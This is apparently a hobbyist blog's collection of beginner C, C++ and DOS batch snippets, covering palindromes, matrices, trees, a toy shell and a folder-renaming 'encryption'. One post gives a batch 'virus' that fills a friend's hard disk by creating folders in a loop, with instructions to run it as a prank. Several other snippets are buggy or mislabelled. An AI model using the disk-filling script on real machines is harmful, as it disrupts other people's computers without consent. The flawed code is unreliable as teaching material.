How to Post cool reverse status in Facebook?

Hello my readers. I am sharing with all of you an very unique trcik today. For this you need to use  one website given bellow. Then type the status you want to use. Now see the reverse text in your screen. Now copy it and paste it in your facebook status. Cool huh. Impress your friends.

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How to check a number palindrome or not in C

How to check a number palindrome or not in C

#include<stdio.h>

void main(){

    int n,r,sum=0,temp;

    printf("Please enter a number: ");

    scanf("%d",&n);

    temp=n;

    while(n){

         r=n%10;

         n=n/10;

         sum=sum*10+r;

    }

    if(temp==sum)

         printf("%d is a palindrome number",temp);

    else

         printf("%d is not a palindrome number",temp);

}

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How to generate armstrong number with in a range

How to generate armstrong number with in a range

#include<stdio.h>

void main(){

    int num,r,sum,temp;

    int min,max;

    printf("Enter the left range: ");

    scanf("%d",&min);

    printf("Enter the right range: ");

    scanf("%d",&max);

    printf("Armstrong numbers in given range are: ");

    for(num=min;num<=max;num++)

   {

         temp=num;

         sum = 0;

         while(temp!=0){

             r=temp%10;

             temp=temp/10;

             sum=sum+(r*r*r);

         }

         if(sum==num)

             printf("%d ",num);

    }

}

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How to generate perfect number with in a range

How to generate perfect number with in a range

#include<stdio.h>

void main(){

  int n,i,sum;

  int min,max;

  printf("Enter the left range: ");

  scanf("%d",&min);

  printf("Enter the right range: ");

  scanf("%d",&max);

  printf("Perfect numbers in given range is: ");

  for(n=min;n<=max;n++){

    i=1;

    sum = 0;

    while(i<n){

      if(n%i==0)

           sum=sum+i;

          i++;

    }

    if(sum==n)

      printf("%d ",n);

  }

}

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Matrix Addition in C laguage

#include<stdio.h>

int main(){

  int a[3][3],b[3][3],c[3][3],i,j;

  printf("Please Enter values for first Matrix: ");

  for(i=0;i<3;i++)

  {

      for(j=0;j<3;j++)

      {

           scanf("%d",&a[i][j]);

      }

  }

  printf("Please Enter values for second Matrix: ");

  for(i=0;i<3;i++)

  {

      for(j=0;j<3;j++)

      {

           scanf("%d",&b[i][j]);

      }

  }

  // Addition operations

   for(i=0;i<3;i++)

       for(j=0;j<3;j++)

            c[i][j]=a[i][j]+b[i][j];

   printf("\n Result after Addition of two matrix is\n");

   for(i=0;i<3;i++)

   { 

       for(j=0;j<3;j++)

            printf("%d\t",c[i][j]);

       printf("\n");

   }

}

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Your own Command.Com shell using C Language

Your own Command.Com shell using C Language
I made this customized COMMAND.COM file. You can add more commands. If you want updated version.  Comment here. I will post the updated version.

#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<process.h>
 char str[20];
 void play(char []);
 void process(char []);
 void quit();
 void help();
 void clear();
 void dir();

 struct lost
 {
char text[20];
void (*f)();
 }los[]={"EXIT",quit,
"HELP",help,
"CLEAR",clear,
"DIR",dir};
 void main()
 {
while(1)
{
printf("\nCommand¯¯");
scanf("%s",str);
process(str);
play(str);
}
 }
 void play(char ar[])
 {
int c=0;
while(c<2)
{
if(strcmp(los[c].text,ar)==0)
{
los[c].f();
}
c++;
}
 }
 void process(char ar[])
 {
int c=0;
while(ar[c]!=NULL)
{
ar[c]=toupper(ar[c]);
c+=1;
}
 }
 void quit()
 {
exit(0);
 }
 void help()
 {
printf("Created by Debarghya Mukherjee.......\nDated 20.11.04\nEmail-debarghya_mkr@yahoo.com");
 };
 void clear()
 {
clrscr();
 }
 void dir()
 {
 }

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Dos batch file Virus to fill entire hard disk

You want to do fun with your friends computer? This simple code will make your friend computer completely full. His/Her root directory will be filled with unnecessary folders. And finally entire drive will be filled. He can not do any work on it. Make fun but never use for destruction of other computers. Have fun


@ECHO off
CD %HomeDrive%\
SET vrs=1
GOTO loop
:loop
MKDIR ILOVEU%vrs%
SET /a vrs=%vrs%+1
GOTO loop

How to make this

1.Open Notepad. Then type the code.

2. Save it by the extension called .bat. e.g “virus.bat”.

3. Then just double click it. Your system will halt. Just restart the system, it will work fine. Have fun.

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Menu Driven Dos program

Simple Your details program in DOS. This is a menu driven program. Try it.
@ECHO off
color 2
cls
:start
ECHO.
ECHO 1. Print Name
ECHO 2. Print Mobile
ECHO 3. Print Address
set choice=
set /p choice=Type the number to print text.
if not '%choice%'=='' set choice=%choice:~0,1%
if '%choice%'=='1' goto op1
if '%choice%'=='2' goto op2
if '%choice%'=='3' goto op3
ECHO "%choice%" is not valid, try again
ECHO.
goto start
:op1
ECHO "Write Your name"
goto end
:op2
ECHO "Write Your mobile number"
goto end
:op3
ECHO "Write your address"
goto end
:end

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Manage Car model Using C++

Using this program you can have basic knowledge of Constructor, enum, basic class construction, meber function details.

#include<iostream.h>
 #include<conio.h>
 enum COLOR{red,blue,green,black,white};
 typedef char * String;
 class car
 {
private:
COLOR color;
float price;
String company;
public:
car();
car(COLOR,float,String);
void showvalue() const;
 };
 car::car():
color(white),
price(0.0),
company("")
{}
 car::car(COLOR c,float p,String com)
 {
this->color=c;
this->price=p;
company=com;
 }
 void car::showvalue() const
 {
cout<<"This "<<color<<" of "
<<company<<" is for "<<price<<" Rs."<<endl;
 }
 class complex
 {
private:
int real;
int com;
public:
complex(int,int);
complex();
void showvalue() const;
//void operator++ ();
complex operator++ ();
complex operator++ (int);
complex operator+(const complex c);
 };
 complex::complex():
real(0),com(0){}
 void complex::showvalue() const
 {
cout<<real<<"+"<<com<<"i"<<endl;
 }
 complex::complex(int a,int b):
real(a),com(b){}
 complex complex::operator++()
 {
complex c(0,0);
real++;
c.real=real;
return c;
 }
 complex complex::operator+(const complex c)
 {
complex a;
a.real=real+c.real;
a.com=com+c.com;
return a;
 }
 complex complex::operator++(int)
 {
complex c;
c=*this;
real++;
return c;
 }
 void main()
 {
complex c1(1,2),c2(2,3);
clrscr();
c1.showvalue();
++c1;
c1.showvalue();
complex c3=c1++;
c3.showvalue();
c1.showvalue();
complex c4;
c4=c1+c2;
cout<<endl<<endl;
c1.showvalue();
c2.showvalue();
c4.showvalue();
getch();
 }

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Tree Operation using C language

Tree data structure always attract me lot. I made this complete solution for tree data structure for computer science students.
#include<stdio.h>
 #include<conio.h>
 #include<alloc.h>
 struct tree
 {
int info;
struct tree *left;
struct tree *right;
 };
 struct tree *makenode(int item)
 {
struct tree *n;
n=(struct tree *)malloc(sizeof(struct tree));
n->left=NULL;
n->right=NULL;
n->info=item;
return n;
 }
 struct tree *find(struct tree *r,int item)
 {
struct tree *p;
p=NULL;
while(r)
{
if(r->info==item)
return p;
if(r->info>item)
{
p=r;
r=r->left;
}
else
{
p=r;
r=r->right;
}
}
return p;
 }
 void create(struct tree **r,int item)
 {
struct tree *ptr;
if(!(*r))
{
*r=makenode(item);
}
else
{
ptr=find(*r,item);
if(ptr)
{
if(ptr->info>item)
ptr->left=makenode(item);
else
ptr->right=makenode(item);
}
else
printf("Not possible");
}
 }
 void pre(struct tree *r)
 {
if(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
pre(r->left);
pre(r->right);
}
 }
 void nonpre(struct tree *r)
 {
struct tree *arr[20];
int top=0;
arr[0]=NULL;
while(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
if(r->right)
{
top++;
arr[top]=r->right;
}
if(!r->left)
{
r=arr[top];top--;
}
else
r=r->left;
}
 }
 void in(struct tree *r)
 {
struct tree *arr[20];
int top=0;
arr[0]=NULL;
while(top>-1)
{
while(r)
{
top++;arr[top]=r;
r=r->left;
}
r=arr[top];top--;
while(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
if(r->right)
{
r=r->right;
break;
}
r=arr[top];top--;
}
}
 }
 void main()
 {
int item,i;
struct tree *r;
clrscr();
r=NULL;
for(i=0;i<=9;i++)
{
printf("Enter the number:");
scanf("%d",&item);
create(&r,item);
}
nonpre(r);
in(r);
free(r);
getch();
 }

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Word Documents to Text file Using C

Word Documents to Text file Using C language


#include<stdio.h>
#include<conio.h>
 void main()
 {
FILE *pt,*p;
char ch;
clrscr();
pt=fopen("C:\\DOC1.DOC","r");
p=fopen("C:\\e.txt","w");
if(pt==NULL)
{
printf("Can not open the source file");
exit(0);
}
if(p==NULL)
{
printf("Can not open the destination file");
exit(0);
}
while((ch=getc(pt))!=EOF)
{
putc(ch,p);
}
fclose(pt);
fclose(p);
getch();
 }

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Difference between two Dates in C laguage

Difference between two Dates in C language


 #include<conio.h>
 #include<stdio.h>
 #include<stdlib.h>
 int con(char ch)
 {
char *c;
*c=ch;
return atoi(c);
 }
 int scan(char arr[])
 {
int flag=1,i;
int p;
for(i=0;i<=9;i++)
{
if(!((arr[i]>=48 && arr[i]<=57) || arr[i]=='/'))
{
return 0;
}
}
p=con(arr[0])*10+con(arr[1]);
if(p>31)
return 0;
p=con(arr[3])*10+con(arr[4]);
if(p>12)
return 0;
return 1;
 }
 void sub(char date1[],char date2[])
 {
int d1,d2,m1,m2,y1,y2;
d1=con(date1[0])*10+con(date1[1]);
d2=con(date2[0])*10+con(date2[1]);
m1=con(date1[3])*10+con(date1[4]);
m2=con(date2[3])*10+con(date2[4]);
//y1=((( con(arr[6])*10 + con(arr[7]) )*10) + con(arr[8]) )*10) + con(arr[9]);
printf("\n%d/%d \n%d/%d",d1,m1,d2,m2);
 }
 void main()
 {
char date1[11],date2[11];
char *ch;
clrscr();
printf("Enter the first date¯");
scanf("%s",date1);
printf("\nEnter the second date¯");
scanf("%s",date2);
//printf("%d %d",scan(date1),scan(date2));
if(scan(date1)==1 && scan(date2)==1)
{
sub(date1,date2);
}
//printf("%d",a);
getch();
 }

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Windows Programming in C language

Windows programming in C language. You ever have considered windows programming in C. If not then, try this simple functions and use them with in your program body, for better looks.
 void win(int x1,int y1,int x2,int y2)
 {
int i,temp;;
if(x1<=0)
{
x1=1;
}
if(y1<=0)
{
y1=1;
}
if(x1>x2)
{
temp=x2;
x2=x1;
x1=temp;
}
if(x1>x2)
{
temp=y2;
y2=y1;
y1=temp;
}
gotoxy(x1,y1);
cprintf("É");
for(i=x1+1;i<=x2;i++)
{
cprintf("Í");
}
cprintf("»");
gotoxy(x1,y2);
cprintf("È");
for(i=x1+1;i<=x2;i++)
{
cprintf("Í");
}
cprintf("¼");
gotoxy(x1,y1+1);
for(i=y1+1;i<=y2;i++)
{
cprintf("º");
gotoxy(x1,i);
}
gotoxy(x2+1,y1+1);
for(i=y1+1;i<=y2;i++)
{
cprintf("º");
gotoxy(x2+1,i);
}

 }
 void my_button(int xpos,int ypos,char arr[])
 {
gotoxy(xpos,ypos);
cprintf("® ");
printf("%s",arr);
cprintf(" ¯");
 }

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Quick Sort using C language in non-recursive manner

Quick Sort using C language in non-recursive manner


#include<conio.h>
#include<stdio.h>
 void main()
 {
int i,j,temp,beg,end,mid,item;
int arr[]={34,67,23,1,89,2,36,12,20,61};
clrscr();
/*printf("Enter value:\n");
for(i=0;i<=9;i++)
{
scanf("%d",&arr[i]);
} */
for(i=0;i<=9;i++)
{
for(j=i+1;j<=9;j++)
{
if(arr[i]>arr[j])
{
temp=arr[i];
arr[i]=arr[j];
arr[j]=temp;
}
}
}
for(i=0;i<=9;i++)
{
printf("\n%d",arr[i]);
}
printf("Enter the number to find:");
scanf("%d",&item);
beg=0;
end=9;
mid=(int)(end+beg)/2;
while(item!=arr[mid] && beg<=end)
{
if(item>arr[mid])
{
beg=mid+1;
}
else
{
end=mid-1;
}
mid=(int)(end+beg)/2;
}
if(beg<=end)
{
printf("\nPosition is %d",mid+1);
}
else
printf("\nPosition may be become %d",mid+1);
getch();
 }

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Your own user defined "printf" function

Your own user defined "printf" function


 #include<stdio.h>
 #include<stdarg.h>
 #include<conio.h>
 int fun(int n)
 {
if(n==0)
return 0;
else
{
fun((int)n/10);
putchar((n%10)+48);
}
 }
 void print(char *f,...)
 {
int i;
va_list p;
va_start(p,f);
while(*f!=NULL)
{
if(*f=='%')
{
f++;
switch(*f)
{
case 'd':
fun((va_arg(p,int)));
f++;
break;
case 'c':
putchar(va_arg(p,int));
f++;
break;
case '%':
putchar('%');
f++;
}
}
else
{
putchar(*f);
f++;
}
}
 }
 void main()
 {
char c='I';
int n;
clrscr();
print("Hallo cant you go with us??????\n");
print("Output is 1st:%d\t2nd:%d\t3rd:%d",4,3,85);
print("\nOutput is %c",c);
printf("\nEnter the number:");
scanf("%d",&n);
printf("Here is %d",n);
getch();
 }

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How to Use Mouse in C language

How to Use Mouse in C language


 union REGS i,o;
 void initmos()
 {
i.x.ax=0;
int86(0x33,&i,&o);
 }
 void space(int size)
 {
int i;
int prevx,prevy;
prevx=wherex();
prevy=wherey();
gotoxy(prevx,prevy);
textattr(112);
for(i=1;i<=size;i++)
{
cprintf(" ");
}
gotoxy(prevx,prevy);
 }
 void showmos()
 {
i.x.ax=1;
int86(0x33,&i,&o);
 }
 void getmos(int *x,int *y,int *b)
 {
i.x.ax=3;
int86(0x33,&i,&o);
*b=o.x.bx;
*x=o.x.cx;
*y=o.x.dx;
 }

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Command Line arguments using C language

Command Line arguments using C language
#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
 void main(int argc,char *argv[])
 {
int a=0;
int j;
printf("%d",argc);
j=atoi(argv[1]);
for(;a<j;a++)
{
printf("\n%s",argv[2]);
}
getch();
 }

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Encrypt and Decrypt folders and files using C language

Encrypt and Decrypt folders and files using C language


 #include<stdio.h>
 #include<conio.h>
 #include<string.h>
 void crypt(char arr1[],int ch)
 {
char arr2[9];
int len,stat;
len=strlen(arr1);
if(len<=7)
{
strcpy(arr2,arr1);
arr2[len]=255;
arr2[len+1]=NULL;
if(ch==1)
{
stat=rename(arr1,arr2);
}
if(ch==2)
{
stat=rename(arr2,arr1);
}
if(stat==0)
{
printf("Operation successfull");
}
else
{
printf("Procedure fail");
}
}
else
{
printf("\nEnter folder name less equal to 7");
}
 }
 void main()
 {
char arr1[9];
int ch;
clrscr();
printf("1.Encrypt\n2.Decrypt\n¯");
scanf("%d",&ch);
printf("Enter the old folder name:");
scanf("%s",arr1);
crypt(arr1,ch);
getch();
 }

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String Programming in C language

This program covers almost every String operations available in C Language


#include<conio.h>
#include<stdio.h>

 void main()
 {
    char arr[10],ar[10],ar1[]="HiQwwerDr";
    int r;
    int cmp(char *,char *);
    void mid(char [],char [],int,int);
    void toup(char []);
    void tolow(char []);
    void toggle(char []);
    void reverse(char [],char []);
    clrscr();
    printf("Enter the word ");
    scanf("%s %s",arr,ar);
    /*r=cmp(arr,ar);
    if(r==0)
    printf("This two words are same");
    else
    printf("This two word are not same");
    printf("\nThe size of first word is %d\n",scount(arr));
    mid(arr,ar,2,5);
    printf("%s",ar);
    toup(arr);
    printf("\n%s",arr);
    tolow(arr);
    printf("\n%s",arr);
    toggle(ar1);
    printf("\n%s",ar1); */
    reverse(arr,ar);
    printf("\n%s",ar);
    getch();
 }
 int scount(char *arr)
 {
int i=0;
while(*arr!=NULL)
{
i++;
arr++;
}
return i;
 }
 int cmp(char *arr,char *ar)
 {
while(*arr!=NULL)
{
if(*arr==*ar)
{
arr++;
ar++;
}
else
return 1;
}
return 0;
 }
 void mid(char arr[],char ar[],int s,int e)
 {
int i,
j=0;
i=s-1;
while(arr[i]!=NULL && i<=(e-1))
{
ar[j]=arr[i];
i++;
j++;
}
ar[j]=NULL;
 }
 void toup(char arr[])
 {
int i=0;
char ch;
while(arr[i]!=NULL)
{
ch=arr[i];
if(ch>=97 && ch<=122)
ch-=32;
arr[i]=ch;
i++;
}
 }
 void tolow(char arr[])
 {
int i=0;
char ch;
while(arr[i]!=NULL)
{
ch=arr[i];
if(ch>=65 && ch<=90)
ch+=32;
arr[i]=ch;
i++;
}
 }
 void toggle(char arr[])
 {
int i=0;
char ch;
while(arr[i]!=NULL)
{
ch=arr[i];
if(ch>=65 && ch<=90)
ch+=32;
else if(ch>=97 && ch<=122)
ch-=32;
arr[i]=ch;
i++;
}
 }
 void reverse(char arr[],char ar[])
 {
int i,j=0,k;
i=scount(arr);
k=i-1;
while(j<=(i-1))
{
ar[j]=arr[k];
j++;
k--;
}
ar[j]=NULL;
 }

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Execute DOS commands in C language

This is the sample code for how to execute DOS commands in C language


#include<conio.h>
#include<stdio.h>
#include<process.h>
 void main()
 {
system("dir"); // use your desired command instead of "dir" command
getch();
 }

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